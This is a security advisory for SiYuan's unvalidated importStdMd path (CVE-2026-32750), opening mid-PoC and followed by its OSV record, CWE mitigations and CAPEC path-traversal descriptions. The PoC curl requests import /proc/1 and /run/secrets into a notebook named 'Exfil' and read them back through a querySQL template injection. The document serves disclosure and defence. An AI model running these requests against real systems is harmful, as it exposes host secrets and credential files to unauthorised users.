-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'
Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.
Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32750"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:47:22Z",
"nvd_published_at": "2026-03-19T22:16:41Z",
"severity": "MODERATE"
},
"details": "### Summary\nPOST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.\n\n### Details\nFile: kernel/api/import.go - function importStdMd\n\n```go\nfunc importStdMd(c *gin.Context) {\n notebook := arg[\"notebook\"].(string)\n localPath := arg[\"localPath\"].(string)\n toPath := arg[\"toPath\"].(string)\n\n err := model.ImportFromLocalPath(notebook, localPath, toPath)\n}\n```\n\nmodel.ImportFromLocalPath (kernel/model/import.go:784):\n```go\nfunc ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {\n filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {\n })\n}\n```\n\nUnlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.\n\nChained attack with Bug #1 (renderSprig):\nAdmin imports sensitive files --\u003e content stored in blocks table --\u003e non-admin user queries via querySQL through renderSprig.\n\n### PoC\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\nNOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \\\n -H \"Authorization: Token $TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"Exfil\"}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027notebook\u0027][\u0027id\u0027])\")\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/proc/1\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/run/secrets\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\":\"{{range $r := (querySQL \\\"SELECT content FROM blocks LIMIT 50\\\")}}{{$r.content}}\\n---\\n{{end}}\"}\u0027\n```\n\n### Impact\nAn admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.\n\nData persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.",
"id": "GHSA-rjhh-m223-9qqv",
"modified": "2026-03-30T13:58:39Z",
"published": "2026-03-16T18:47:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-rjhh-m223-9qqv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32750"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/13b6d3d45e83525654d120f32a3fdc5d9e95df0b"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.